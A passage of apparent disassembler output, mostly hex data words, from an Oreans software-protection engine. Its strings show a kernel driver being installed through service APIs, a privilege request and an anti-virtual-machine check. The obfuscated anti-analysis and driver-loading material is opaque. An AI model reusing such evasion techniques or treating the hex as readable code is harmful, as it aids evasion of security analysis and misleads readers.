245C895Bh dd 24448104h, 1604h, 0C3534300h, 0E8B320ABh, 7, 950A4189h dd 14894CDh, 1F302D85h, 0D0FF5F06h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0C6C35343h, 5077C683h, 0F8EFB966h dd 66240489h, 13E9FB8Bh, 0BA000000h, 62BB5088h, 83794AF5h dd 9362E163h, 87A01D45h, 6AC0CEh, 0F459DA68h, 0EABA50A8h dd 5928362Ch, 0A6240481h, 6A570BA6h, 0DDB58B03h, 6A061F1Dh dd 718D0300h, 0E8061F31h, 9, 1CE6F556h, 0BEB1F805h, 0FE8E0h dd 7BC80000h, 788E179Dh, 0F102E9BEh, 8398B409h, 5F5FF570h dd 0D78B036Ah, 58DFC681h, 27683D8Fh, 816703FBh, 4D92404h dd 958B58FCh, 61F14E1h, 0B10A9D8Dh, 0BE90621h, 5A000000h dd 0B6AB06D5h, 0E8F95EB5h, 8E0F6E0Ch, 6, 2D798D89h, 0BF50061Fh dd 163C6991h, 0E9241C89h, 0Fh, 0E02E8848h, 1DB1A956h, 7B5E67F4h dd 0FFEF4A5Bh, 5950BD0h, 40061F03h, 2F5850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 21DFBBC3h, 604EFC13h, 2C89958Bh, 63B2061Fh, 22BE5861h dd 90449253h, 11E950h, 10580000h, 0FE05F200h, 0E6D53ACBh dd 14D4E07Ch, 90166FE7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 1BC35141h, 0BFF38944h, 8166B525h, 6AB90ACFh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 7FB8441Ch, 0BAE4E781h, 4E87B7Ch, 80000000h dd 50000000h, 448BEC8Ah, 8B0424h, 5FCF8B52h, 4244489h dd 5840Fh, 66560000h, 5859F88Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0B4C35646h, 0CB5FE38Bh, 0BD8BBC55h dd 61F2A85h, 1019D89h, 36A061Fh, 0F467E781h, 840F4753h dd 6, 27358D8Bh, 6A061Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 8C35141h, 0C88B4D09h, 6A2AC280h, 53006A03h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 9D8D891Bh, 66061F13h, 0E86F34B9h, 4, 0C0000000h, 0F7D2D4BAh dd 0BA665018h, 448B3701h, 8B0424h, 0E8D0Fh, 52500000h dd 310F5250h, 310F585Ah, 585A6160h, 4244489h, 58F18B66h dd 9D8D8DB5h, 621B113h, 50AABF66h, 0B9B96650h, 241C89BCh dd 92C649B9h, 0C870F6Eh, 0F000000h, 68Bh, 0A9958900h, 0FF061F30h dd 0BD8951D0h, 61F31F5h, 850F4059h, 137h, 6810Fh, 0EA810000h dd 4D3AC62Bh, 0AE858h, 0AA840000h, 0E81B585Dh, 88268C4Eh dd 0DC58D09h, 0F59061Fh, 6050CBB7h, 54F8BABBh, 616BB235h dd 0E8240489h, 0Ch, 0A751E660h, 2E43063Dh, 807252E9h, 6A5FEC8Ah dd 81666000h, 663B68F1h, 6861CB8Bh, 0CFBA9895h, 6492BA66h dd 0EB240481h, 9304567h, 1F0ABD9Dh, 8A036A06h, 29006AD5h dd 1F1355B5h, 6AD78B06h, 0B52B5003h, 61F2FD5h, 0D18A5259h dd 4E85Fh, 0 dd 57BEC000h, 5049020Eh, 0E88A5250h, 850F310Fh, 2, 585AF98Bh dd 424448Bh, 0A873B860h, 8B616EB3h, 0CF8B6600h, 4244489h dd 0FE8B5250h, 830F310Fh, 0 dd 8958585Ah, 1F10D9B5h, 1E9D8D06h, 290621B1h, 1F121595h dd 8B575006h, 1C895ED7h, 8D23FC24h, 61F2D7Dh, 958BD0FFh dd 61F0FC9h, 40850F40h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 54E7C355h dd 96CCC83h, 8D09B1F9h, 61F0C8Dh, 0E9F78B58h, 13Ch, 68D0Fh dd 8D8B0000h, 61F13F1h, 8BF9B70Fh, 0AE8D8h, 70130000h dd 2AAB7A68h, 0AA73342Bh, 5EF3B70Fh, 51006A4Bh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B9BBA400h dd 346C1E0Bh, 4BDF8158h, 0E90BE02Ah, 9, 0E5921D6Fh, 0A5825F24h dd 2585C60Ch, 43061F20h, 7E8h, 299D2D00h, 7D573ABDh, 0DF15C981h dd 0B15F38ACh, 0A95368D2h, 8B6660EEh, 240481D6h, 5F87A154h dd 0B058589h, 0B58B061Fh, 61F2FF5h, 20D9B5FFh, 28BE061Fh dd 8D43AD81h, 1F394D85h, 5D8D2906h, 0FF061F27h, 55006AD0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B3107F7h, 1F167D8Dh, 7BB95006h, 89724BEEh, 6A241Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0CD0322C3h, 0BD896022h, 61F30E5h, 4323D5BFh, 8DD0FF35h dd 1F71109Dh, 6E906h, 61EF0000h, 233B364h, 1B8h, 12E900h dd 0C8270000h, 0BD1157AEh, 97264592h, 0DCD765FEh, 0F27F799Eh dd 8D89E3FFh, 61F13A9h, 8B66C18Bh, 89C08BCEh, 1F2AE5B5h dd 83F08B06h, 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh dd 8B535019h, 40FB8C0h, 85890000h, 61F1395h, 0B00B9D8Dh dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h, 40FB853h dd 85890000h, 61F1395h, 0ACAC9D8Dh, 0D3FF0621h, 0BD89585Bh dd 61F2C85h, 73DCE181h, 0C08B7A0Ah, 13E8h, 41868D00h, 12D2D3E9h dd 380BEA25h, 0B0B7043Ah, 4750A477h, 2AA5BD09h, 0F58061Fh dd 681h, 83F38100h, 81456659h, 5A55C0h, 0DB816600h, 95B9A994h dd 8158EFE4h, 0EFCE2EE9h, 0C3816658h, 308BB17Fh, 11E9h dd 59B84E00h, 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh, 0C6814281h dd 514F5C3Fh, 7A5958Bh, 0F681061Fh, 77860E98h, 1199BD8Bh dd 0F681061Fh, 72DA2524h, 103D9589h, 0E956061Fh, 12h, 57E294AFh dd 9EF62DF5h, 83E06193h, 82940FF8h, 8FAFFCh, 0F40FCBBh dd 4E88345h, 6198D01h, 0E981061Fh, 1, 0FF90850Fh, 7E9FFFFh dd 0E9000000h, 0BC149BDEh, 0EE94616h, 33000002h, 6E6E6143h dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h dd 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 61F2025h, 5B866847h, 0B5FFE3E4h dd 61F20D9h, 394D858Dh, 0D0FF061Fh, 10468h, 659D8D00h dd 53061F17h, 8D50D0FFh, 21BA3FB5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 1F202585h dd 0FC684306h, 0FFBC8E6Eh, 1F20D9B5h, 4D858D06h, 0FF061F39h dd 65B58DD0h, 6A061F17h, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 61F2025h, 0EE566857h, 0B5FFA69Bh dd 61F20D9h, 394D858Dh, 0D0FF061Fh, 0EEDBD8Dh, 8D8D061Fh dd 621BB65h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0B847B58Dh, 858D0621h, 621A8EBh, 8D8DD0FFh, 61F7110h dd 0B8h, 0C6E1FF00h, 1F202585h, 0A7684306h, 0FFC0764Ah dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh dd 83000000h, 21F3BABDh, 840F0006h, 0Ah, 1F5185C7h, 1061Fh dd 85C60000h, 61F2025h, 34B06847h, 4813C38h, 3537DD24h dd 0D9B5FF54h, 8D061F20h, 1F394D85h, 0FFD0FF06h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2E3E900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C6E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 621F33Ah, 225E8h dd 0CFBD0300h, 830621F3h, 21F3CFBDh, 840F0006h, 0Bh, 6C185C7h dd 1061Fh, 8DC30000h, 21F345B5h, 1FCE806h, 0BD030000h dd 621F3CFh, 0F3CFBD83h, 0F000621h, 0B84h, 5185C700h, 1061F1Fh dd 0C3000000h, 0F3BEB58Dh, 0D3E80621h, 3000001h, 21F3CFBDh dd 0CFBD8306h, 621F3h, 0B840Fh, 85C70000h, 61F31ADh, 1 dd 4FB58DC3h, 0E80621F3h, 1AAh, 0F3CFBD03h, 0BD830621h dd 621F3CFh, 0B840F00h, 0C7000000h, 1F1F5185h, 106h, 0B58DC300h dd 621F359h, 181E8h, 0CFBD0300h, 830621F3h, 21F3CFBDh dd 840F0006h, 15h, 1F5185C7h, 1061Fh, 85C70000h, 61F06C1h dd 1, 67B58DC3h, 0E80621F3h, 14Eh, 0F3CFBD03h, 0BD830621h dd 621F3CFh, 0A840F00h, 0C7000000h, 1F1BA185h, 106h, 71B58D00h dd 0E80621F3h, 126h, 0F3CFBD03h, 0BD830621h, 621F3CFh dd 0A840F00h, 0C7000000h, 1F1BA185h, 106h, 7CB58D00h, 0E80621F3h dd 0FEh, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h dd 1F0BA985h, 106h, 82B58D00h, 0E80621F3h, 0D6h, 0F3CFBD03h dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h, 1F08B585h dd 106h, 88B58D00h, 0E80621F3h, 0AEh, 0F3CFBD03h, 0BD830621h dd 621F3CFh, 0A840F00h, 0C7000000h, 1F003185h, 106h, 96B58D00h dd 0E80621F3h, 86h, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h dd 0C7000000h, 1F207585h, 106h, 0A3B58D00h, 0E80621F3h dd 5Eh, 0F3CFBD03h, 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h dd 1F06B185h, 106h, 0AEB58D00h, 0E80621F3h, 36h, 0F3CFBD03h dd 0BD830621h, 621F3CFh, 0A840F00h, 0C7000000h, 1F035985h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 1FE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h dd 38178A00h, 5840F16h, 0B9000000h, 0 aFga db 'FG€>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 621F3CFh, 0AE9h, 0CF85C700h dd 621F3h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 10h dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 10h dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 dd 0 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 align 8 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 6AC48B00h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E45C355h, 91BD8BC8h, 89061F31h dd 1F153D85h, 8BB7B106h, 0F18166C0h, 0BD834C18h, 61F06C1h dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 43DB8h dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h dd 61F1Fh, 53501774h, 43DB8h, 65858900h, 8D061F0Fh, 21AC939Dh dd 5BD3FF06h, 0E2816658h, 880FE500h, 6, 12C99523h, 0BD8B061Fh dd 61F1295h, 0F98BC08Bh, 0BA66C08Bh, 0BD8375E3h, 61F06C1h dd 83097500h, 1F1F51BDh, 13740006h, 0C08B5350h, 0B8h, 469D8D00h dd 0FF0621AEh, 83585BD3h, 1F1F51BDh, 11740006h, 0B85350h dd 8D000000h, 21ACF79Dh, 5BD3FF06h, 0C59D8958h, 0F061F32h dd 686h, 5958900h, 8B061F2Ch, 8D9D29C0h, 0FC061F15h, 0CA8BC08Bh dd 6C1BD83h, 7500061Fh, 51BD8309h, 61F1Fh, 53501374h, 0B8C08Bh dd 8D000000h, 21AD789Dh, 5BD3FF06h, 51BD8358h, 61F1Fh dd 53501174h, 0B8h, 0C59D8D00h, 0FF0621ACh, 0F585BD3h dd 42BAC9B7h, 8B1D2F72h, 0CE8C0h, 0CC840000h, 0D53D44BFh dd 52E271CFh, 0CE8B7C7Dh, 52C08B59h, 0C1BD835Fh, 61F06h dd 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h, 0 dd 0ADDF9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50117400h dd 0B853h, 9D8D0000h, 621ACDEh, 585BD3FFh, 0AA59533h, 0D58A061Fh dd 12E9C08Bh, 29000000h, 3D6C60CDh, 0D863ACCDh, 0E88350E0h dd 87A1A9E6h, 6AC08BF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 1623C352h, 0C1BD83F9h dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h dd 0 dd 0AD119D8Dh, 0D3FF0621h, 0BD8B585Bh, 61F0BB1h, 0AE856h dd 0BC4C0000h, 0F9B2446Eh, 0D6CA0A14h, 0DD9958Bh, 5A5A061Fh dd 7ABAC08Bh, 0B9786768h, 7535F57Eh, 0FE8C08Bh, 27000000h dd 0E9FE33CFh, 0A5365842h, 153D0438h, 8D89CE95h, 61F0035h dd 0C1BD835Ah, 61F06h, 0BD830975h, 61F1F51h, 50197400h dd 0B8C08B53h, 7D0h, 0F658589h, 9D8D061Fh, 621AFA4h, 585BD3FFh dd 1F51BD83h, 7400061Fh, 0B8535017h, 7D0h, 0F658589h, 9D8D061Fh dd 621AC93h, 585BD3FFh, 0DE8F5h, 37B30000h, 36965EC8h dd 804E94DBh, 8BB16393h, 1F23318Dh, 0C08B5906h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 92C35747h, 0C6C0A4A7h dd 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 69CE2EC3h, 158A6860h, 0E9FE8B66h dd 13h, 0B88F354Bh, 0FE5F70E0h, 0FA92707Dh, 7692347Ch dd 68DF91E7h, 99395F90h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 39C35040h, 3837A3CAh, 5E8h, 0C0802500h dd 0ACBA02BCh, 597E7138h, 20D9B5FFh, 0B589061Fh, 61F30E5h dd 394D858Dh, 8D8B061Fh, 61F1561h, 6AD0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89D847C3h dd 1F2D5985h, 0D8D0B06h, 0F8061F00h, 202585C6h, 8B57061Fh dd 1F134D95h, 2D8D8906h, 68061F06h, 90045206h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C2C35343h, 2C399589h dd 0B5FF061Fh, 61F20D9h, 31718D09h, 858D061Fh, 61F394Dh dd 8018CDB9h, 0B6D0FF26h, 0ED8589C7h, 6A061F1Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0C603C356h, 1F202585h, 95894306h, 61F319Dh, 90702868h dd 8E8BCh, 0D1110000h, 5078206Ah, 810F04CBh, 3, 59D2B70Fh dd 2E90D981h, 0B5FF49BDh, 61F20D9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 84C35343h, 6437EF17h, 0B12CFC39h dd 394D858Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 7E4930C3h, 3D958951h, 0FF061F30h dd 0C981D0h, 89213995h, 1F2B0D85h, 0D5BD8B06h, 0C6061F2Ch dd 1F202585h, 68F54C06h, 0D9DA1CE9h, 31799D09h, 0B5FF061Fh dd 61F20D9h, 65858B60h, 8B061F1Ch, 1F2D3D85h, 858D6106h dd 61F394Dh, 22DBD89h, 7DBA061Fh, 0FF689D71h, 56006AD0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0B18589D0h, 0E9061F2Dh, 11h, 0BD5911Dh, 502B961Dh, 0A0A11824h dd 0F8C3F95Bh, 2585C6CFh, 46061F20h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0B4C35545h, 0FF93BCBFh, 849B6E3Dh dd 8B65E580h, 1F1F558Dh, 6146806h, 8529BADEh, 61F30C5h dd 20D9B5FFh, 8166061Fh, 8D37FCE2h, 1F394D85h, 13E906h dd 39BD0000h, 0D496FC7Bh, 772EE9B2h, 3D23E642h, 0F3D89CAAh dd 9D0FFDCh, 1F2E2595h, 15858906h, 53061F16h, 0EE9h, 0B39FAC00h dd 0BC12739Ch, 982CF574h, 5AACE78Bh, 202585C6h, 0F947061Fh dd 0FB5E268h, 0C75FBA8Ah, 0B5FF3082h, 61F20D9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A6C35242h, 22FD5E11h dd 1693B9B0h, 0A5BF2231h, 8D4539A7h, 1F394D85h, 0E1816606h dd 860F3BFCh, 6, 18B1B529h, 0D0FF061Fh, 0E558D8Bh, 8589061Fh dd 61F0A11h, 0C6CFBF0Fh, 1F202585h, 6A4706h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0B7547BC3h dd 0F368FC00h, 8983D0B5h, 1F00898Dh, 0D9B5FF06h, 9061F20h dd 1F057DB5h, 11E806h, 0A4BF0000h, 43025398h, 0CC61C74Ah dd 2AD9ECEAh, 0B6CDBC01h, 858D5FE0h, 61F394Dh, 0F1EF8166h dd 89D0FF0Eh, 1F30858Dh, 0E5858906h, 66061F06h, 85C6FB8Bh dd 61F2025h, 68CE8B77h, 0F397A8A3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0DFC35343h, 958B6236h, 61F1BEDh dd 2C51B5FFh, 8B66061Fh, 4D858DFBh, 6A061F39h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5D5C351h, 0B0B5B0B2h, 8D31D0FFh, 61F2CF9h, 0A18589h dd 0BD8B061Fh, 61F2B25h, 202585C6h, 6047061Fh, 0E9C9B70Fh dd 13h, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 0CFDF6987h, 61912E5Bh dd 28FAF668h, 55006A87h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 63D5B97Ch, 76FF8613h, 5F577EEAh dd 20D9B5FFh, 8B66061Fh, 4D858DF8h, 6A061F39h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 7117C356h, 13E95Ah, 0AEFE0000h, 0E7ADFA6Dh, 0A099BD6Eh dd 7A4D62E3h, 4068A6DEh, 66D0FF42h, 8589C88Bh, 61F1FF9h dd 6870Fh, 95310000h, 61F151Dh, 85C6D08Bh, 61F2025h, 56006A43h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0C5958B74h, 68061F0Eh, 0BC8E6EFCh, 110DBD01h, 0B5FF061Fh dd 61F20D9h, 120D8D8Bh, 858D061Fh, 61F394Dh, 58D8B52h dd 59061F1Bh, 958BD0FFh, 61F1701h, 30518589h, 46BF061Fh dd 2908C418h, 1F1C4DBDh, 2585C606h, 45061F20h, 9BD8589h dd 6968061Fh, 0E98E7269h, 0Fh, 72A08210h, 0BB5D9F36h, 0FC154AB9h dd 66AF4668h, 0C7CBE981h, 20D9B5FFh, 6A061Fh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 18D50CC3h dd 5E4D9E88h, 8B8C22C1h, 1F165595h, 4D858D06h, 66061F39h dd 0D0FFFA8Bh, 23418589h, 8589061Fh, 61F0EE1h, 58E0Fh dd 81660000h, 0C685B9F1h, 1F202585h, 830F4406h, 6, 1C39B529h dd 6468061Fh, 66B8F2ECh, 8E9FE8Bh, 1B000000h, 4B2013E5h dd 0FF09BF67h, 1F20D9B5h, 5DD8006h, 394D858Dh, 830F061Fh dd 6, 2C45BD33h, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0A8C35242h, 6072F267h, 89F5869Bh dd 1F088185h, 0CA8A5606h, 2585C659h, 43061F20h, 7E9h, 5ECDE700h dd 2E71141h, 6820Fh, 0BD290000h, 61F2D35h, 764AA768h, 39BD09C0h dd 0FF061F10h, 1F20D9B5h, 0D1B50106h, 8D061F0Bh, 1F394D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 343D5D41h, 71958B1Dh, 0FF061F2Ah, 89F98BD0h dd 1F107585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 7C9FCFE3h, 0B1B99F6Bh, 8B5FBE68h dd 1F0CF1BDh, 3EBD8006h, 62203h, 6A840Fh, 0D7810000h, 750C8DA3h dd 358D29h, 858D061Fh, 6220320h, 5C59589h, 6050061Fh, 77D18166h dd 858B60DCh, 61F2EC1h, 16A6161h, 6ACB8B66h, 0E1BD8B00h dd 6A061F1Eh, 99BD8B00h, 0FF061F20h, 1F2B0D95h, 89CF8B06h dd 1F23CD85h, 0D68B6606h, 0EC8AFF6Ah, 23CDB5FFh, 0B531061Fh dd 61F2F5Dh, 1CED95FFh dd 8D0B061Fh, 61F163Dh, 0BF66C08Bh, 0BD834301h, 61F06C1h dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 7D1B8h dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h dd 61F1Fh, 53501774h, 7D1B8h, 65858900h, 8D061F0Fh, 21AC939Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0E0A8358Ah, 0E92E0A40h, 0Ch, 61AB0701h dd 0D0F86E08h, 2A115ABAh, 6AC88B66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 76C4C353h dd 0D68B6611h, 9E9h, 88E6700h, 0B020B215h, 0C08B1AA6h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h dd 0E9A75DF3h, 11h, 0E3F30DB4h, 0A94F9B87h, 0A85B4148h dd 0D9DC8896h, 8D9D89FAh, 0C6061F1Bh, 1F202585h, 0BA664706h dd 0C168F0F6h, 6A93C8F7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0A7ABC353h, 0C88A48E7h dd 20D9B5FFh, 0E781061Fh, 3B158364h, 394D858Dh, 6A061Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 6C799C3h, 0E64D16F5h, 0BD8B11A4h, 61F2A51h, 0EE8D0FFh dd 53000000h, 0ED90F2CDh, 319D0ADh, 32EF2C12h, 1DBD8934h dd 5A061F02h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 